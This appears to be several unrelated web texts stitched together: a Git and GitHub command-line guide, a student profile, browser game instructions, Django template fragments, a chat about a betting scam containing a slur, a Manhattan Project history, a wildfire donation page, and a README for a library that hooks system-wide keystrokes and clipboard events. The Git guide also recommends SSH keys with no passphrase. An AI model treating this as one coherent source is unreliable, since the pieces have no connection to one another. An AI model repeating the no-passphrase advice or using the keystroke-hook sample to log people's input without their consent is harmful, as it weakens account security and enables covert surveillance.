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Lately I’ve been helping a few people to get started on Github. I use git at the command line and my survival guide is also based on that way of interacting with Git. So I thought I’d write the procedure up so that I can just point people to this page.
The first tip I can give you and most of what I’ll be talking about is in the guides from github. When you’re used to Subversion or Team Foundation Server for example you’ll need to make a mental leap. That leap would be to realise that your local copy is the master copy for you. The remote server like github.com is one is a little bit like an afterthought. I think it goes a little bit like this: “O cool I’ve built this really cool thing here and I’ve got it in this git repository on my machine. It would be cool if other people also had access. Wait a minute, I’ll just add a remote and push my stuff onto that server.” Problem solved.
Most of this guide applies to both windows and *nix systems except for the next part because that will describe the install parameters for getting msysgit to behave nicely on your system.
==== Windows only ====
If you’re on windows I suggest you use msysgit as your git client. You can probably use everything I’m about to explain from explorer too if you want to use tortoisegit or just prefer gui’s. I, personally, like having options so I’ll probably use a mix of those in the future. Ok onto the install procedure.
Somewhere half-way through the install of msysgit it will ask you how far you want to integrate it. The correct choice is the middle one: Run Git from the Windows Command Prompt. For generating ssh keys etc you probably want to use OpenSSH.
==== Windows only end ====
When the install of msysgit is completed it is time to start configuring your git install for usage with github. The first step you need to take is to tell git your username and email address. You will also need your API token that you can find on your account page.
[~]$ git config --global user.name "Ivan Porto Carrero"
[~]$ git config --global user.email<EMAIL_ADDRESS>[~]$ git config --global github.user casualjim
[~]$ git config --global github.token [[API TOKEN]]
This information can be found in the github guides: http://github.com/guides/tell-git-your-user-name-and-email-address. The configuration above is global but you can still override that on a per project basis.
Now that git knows how to deal with github it is time to formally introduce your machine to the github server. To do so you might have to create an ssh key private/public keypair. A tip I can give you before you start the creation is that you probably don’t want to type a password everytime you push to github. So when you create your ssh key don’t use a passphrase (leave it blank when asked for one).
The procedure on how to create the ssh keys can againn be found in the github guides: http://github.com/guides/providing-your-ssh-key. On windows I would suggest that you use the openssh one. I use RSA keys but you can choose whichever flavor you want of course :) After generating the ssh keys you need to provide them to github in your account page.
This should get you up and running with github. I’m assuming most people coming to github are familiar with subversion so I’ll try to map some common operations to the command sequence you need in git.
First things first I have a couple of aliases defined for some common operations.
You can just copy paste the aiases section below in the .gitconfig file that you can find in the root of your personal folder. C:\users\ivan.gitconfig on vista for me and ~/.gitconfig in bash.
[alias]
ci = commit
st = status
co = checkout
If all you need is read-only access to a repository you can just clone a repository by its public clone url ie. git clone git://github.com/casualjim/ironrubymvc.git
The first operation you’ll need is how to get source code, make changes and send in a patch. In git lingo this is called forking.
On github you fork the project you want to make changes too. Then you clone that project on your local machine and make your changes. You then push your changes back to your repository and send a pull request to the original project. That is all you need to do to send in a patch, issue a pull request.
I forked ironrubymvc from Jimmy Schementi and send him pull requests regularly when I’ve completed a chunk of work on it. so here’s the sequence of commands I use to do this.
git clone git@github.com:casualjim/ironrubymvc.git
… make some changes …
To start updating the repository with my changes I’ll generally first ask for a status to see if I need to add some files to ignore and if there are new files that need te be included
git st
If there are files that need to be ignored I’ll add them to the .gitignore file in my project root. If there are still some new files that need to be added:
git add .
Then I’m ready to commit the changes to my local repository:
git ci –a –m “Made ironrubymvc do the dishes and ironing”
Now it’s time to push my changes to the github server.
git push
And now I need to go to the github website and send a pull request to Jimmy. He can then decide if he wants to apply the patch or make some changes.
The next step is to keep your fork in sync with the forked repository, so that you can continue to pick up their changes and ensure that your changes still work.
git remote add upstream git://github.com/jschementi/ironrubymvc.git
to automatically fetch and then merge the changes from the upstream repository you can pull from it. You have to tell pull the remote source it has to pull from and the target branch.
git pull upstream master
A more detailed explanation of this process can be found in the github guides. http://github.com/guides/fork-a-project-and-submit-your-modifications
The next thing we’re going to map is svn:externals. In git this is called submodules. They have a great explanation off that in the github guides http://github.com/guides/developing-with-submodules
Suppose you made some changes and they aren’t really what you want and you want to restore the repository to the last commit.
git reset –hard
The last topic is branching and merging changes etc. As an example I will take the IronRuby project for which Michael Letterle and myself maintain the linux branch. This branch ensures that IronRuby gets the fixes it needs to compile on mono. A typical workflow for me when I sync it with the source repository @ git://github.com/ironruby/ironruby.git from the ironruby project root on my local machine.
Previously I did:
git clone git@github.com:mletterle/ironruby.git
git remote add ironruby git://github.com/ironruby/ironruby.git
And to create and track the remote linux branch I issued the following commands:
git co –-track –b linux origin/linux
git pull
This has now got my local copy set up with a linux branch and has pulled in the contents of the remote branch to my local repository.
When there are changes in the source repository I issue the following commands:
git co master // Check out the master branch
git pull ironruby master // Pull in changes from remote
git co linux // Check out the linux branch
git merge master // Merge in the changes from the master branch
mate . // Open textmate to resolve conflicts
git add . // Add the files with the resolved conflicts back to the repository
git ci –a –m “Synced with upstream” // submit changes
git push // update the github server
The information above can be found in the github guides as well but in several places:
http://github.com/guides/git-cheat-sheet
http://github.com/guides/showing-and-tracking-remote-branches
http://github.com/guides/push-a-branch-to-github
http://github.com/guides/keeping-a-git-fork-in-sync-with-the-forked-repo
http://beans.seartipy.com/2008/12/09/setting-up-ruby-on-rails-projects-with-git-and-github/
Those are the commands I use about 95% of the time when I’m working with git. I thought they might be useful to other people hence the share.
If you combine the above with my previous post on how to git-enable your command-line http://flanders.co.nz/2009/03/19/pimp-your-command-line-for-git/ . I guess you’ve got a pretty sweet setup.
There is one gotcha that I’d like to repeat one more time. When you’re branching you have to close the solution in visual studio or all kinds of nastiness will ensue. Visual studio will lock some files and if git wants to remove them it can’t. This results in a branch that is probably messed up.
Technorati Tags: git,github,cheat sheet


Hi, I am Shaurya an engineering student at MNIT Jaipur.Currently I have studying in Electrical Engineering.I wander for new things,learning new programming language and making programs to solve modern world problems intrigues me.I believe we should make everyday worthly by learning new things,building our skills and sometimes just hang out and chill with freinds.
Currently i am learning python.I have also knowledge of C language. Recently I have started to learn web devlepment and i am learning html css and Javascript . I am very excited to work as a Web Developer.I am learning python and Javascript because today these two languages has become power of technology world.
Shaurya and i are great friends, he is a very hard working guy and spends most of his time on academics and learning stuff. He is also a great teacher as he helps his mates with their problems.
Do you like reading, my answer is "maybe not as much". But ask Shaurya brother, the answer is "very much". We have an old and good friendship, but I did not learn hard work from Shaury. Shaurya is a upcoming hard student of MNIT.
Shaurya is a kind of person who have hunger of learning new things his curiosity never ends.Now he is enjoying learn to code and learning the way programming can solve the problems of world. He is a guy from town that is small but his aims not..
Shaurya is my roommate and best friend. He is a hard working student and always pays attention to studies, although he also enjoys with friends..
SHAURYA and me a friend since last two years.My freind conversions may be short and silence long,but friendship makes for life most beautiful song.
shaurya and me a freind since last three years.Currently I am studying in NIT Jalandhar at CSE Department .
SHAURYA PRATAP SINGH.


A nearby bear got mad after seeing you wear a bear pelt! Run for your life!
Use "W", "A", "S" and "D" to move.Click or space to pause.
Avoid hitting the trees.Survive until the end of the time limit.
Begin by clicking the right arrow.
GOOD LUCK!


{% extends "base.html" %} {% load staticfiles %} {% block title %} - Public Directory{% endblock %} {% block main %}
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Caglio
22-Jun-19 03:37 AM
You mean that serbian dude ?
Cos I dont think he planned on scamming people into davor
He was just a retard which was obvious
A dude I know, he paid 200 euros for a tip on a football game
Then he deposited 500 euros, and ofc lost
So I am explaining to him, how the scam works
And he is yeah, ur right yeah


This is an image of a letter that was sent in August 1939 to FDR. It was written by a German-Hungarian atomic physicist named Leo Szilárd, who was one of the first to realize the possibility that atomic fission could be used to create bombs of unprecedented power. Szilárd was worried about the possibility that Germany or another county would be able to produce such weapons before the United States did, so he urged FDR to fund research on the subject. Because Szilárd wasn't well known, he asked Albert Einstein, a friend of his, to sign it instead.
Roosevet acted on the letter, setting up the Advisory Committee on Uranium, which was succeeded by a number of other groups. However, work on the creation of an atomic weapon did not start in earnest until the Manhattan Project, which started two years later in June 1942.
The Manhattan project consisted of three main centers: Oak Ridge, Tennessee, which produced Uranium; Hanford, Washington, which housed Plutonium-forming nuclear reactors, and Los Alamos, where most of the Research and Development on the bomb was done. This mainly involved engineering work, as the base science had already been worked out.
The Y-12 site(at Oak Ridge), Hanford, and Los Alamos (respectively)
Trinity was the name of the first nuclear weapon test. It took place on July 16th, 1945 in the White Sands Missile Range. The weapon was nicknamed Gadget.
A picture of "Gadget" at the top of the shot tower; and a comparison of the size of the Trinity fireball at different times after the explosion
After the test, Robert Oppenheimer (the scientist in charge of the Manhattan Project) famously said "Now I am become Death, the destroyer of worlds.", quoting an ancient Hindu scripture.


Help victims of the latest incidents
The Governor’s Office of Emergency Services has partnered with Philanthropy California to vet wildfire relief and recovery funds that serve to support those who have been impacted by the fire.
Kincade Fire
- Community Foundation of Sonoma County – Resilience Fund
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Tick Fire
- California Community Foundation – Wildfire Relief Fund
- United Way of Greater Los Angele – Disaster Relief Fund
- Southern California Grantmakers – Tick Fire: How to Help
For additional information and easy-to-use tips on avoiding charity scams following a disaster, please visit the California Office of the Attorney General’s Registry of Charitable Trusts website.
You can also get volunteer information here: CalVolunteers Disaster Updates
For more information on charitable donations: http://www.oesnews.com/make-your-disaster-donations-count/


Windows User Action Hook
A one stop library for global windows user actions such mouse, keyboard, clipboard, & print events
Kindly report only issues/bugs here . For programming help or questions use StackOverflow with the tag EventHook or Windows-User-Action-Hook.
Supported Events
- Keyboard events
- Mouse events
- clipboard events
- application events
- print events
Usage
Install by nuget
Install-Package EventHook
Sample Code:
var eventHookFactory = new EventHookFactory();
var keyboardWatcher = eventHookFactory.GetKeyboardWatcher();
keyboardWatcher.Start();
keyboardWatcher.OnKeyInput += (s, e) =>
{
Console.WriteLine(string.Format("Key {0} event of key {1}", e.KeyData.EventType, e.KeyData.Keyname));
};
var mouseWatcher = eventHookFactory.GetMouseWatcher();
mouseWatcher.Start();
mouseWatcher.OnMouseInput += (s, e) =>
{
Console.WriteLine(string.Format("Mouse event {0} at point {1},{2}", e.Message.ToString(), e.Point.x, e.Point.y));
};
var clipboardWatcher = eventHookFactory.GetClipboardWatcher();
clipboardWatcher.Start();
clipboardWatcher.OnClipboardModified += (s, e) =>
{
Console.WriteLine(string.Format("Clipboard updated with data '{0}' of format {1}", e.Data, e.DataFormat.ToString()));
};
var applicationWatcher = eventHookFactory.GetApplicationWatcher();
applicationWatcher.Start();
applicationWatcher.OnApplicationWindowChange += (s, e) =>
{
Console.WriteLine(string.Format("Application window of '{0}' with the title '{1}' was {2}", e.ApplicationData.AppName, e.ApplicationData.AppTitle, e.Event));
};
var printWatcher = eventHookFactory.GetPrintWatcher();
printWatcher.Start();
printWatcher.OnPrintEvent += (s, e) =>
{
Console.WriteLine(string.Format("Printer '{0}' currently printing {1} pages.", e.EventData.PrinterName, e.EventData.Pages));
};
//waiting here to keep this thread running
Console.Read();
//stop watching
keyboardWatcher.Stop();
mouseWatcher.Stop();
clipboardWatcher.Stop();
applicationWatcher.Stop();
printWatcher.Stop();
//dispose
eventHookFactory.Dispose();


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Are you sure about deleting, "{{object.title}}"?
{{object.created|date:'M d Y'}}
{{ object.body }}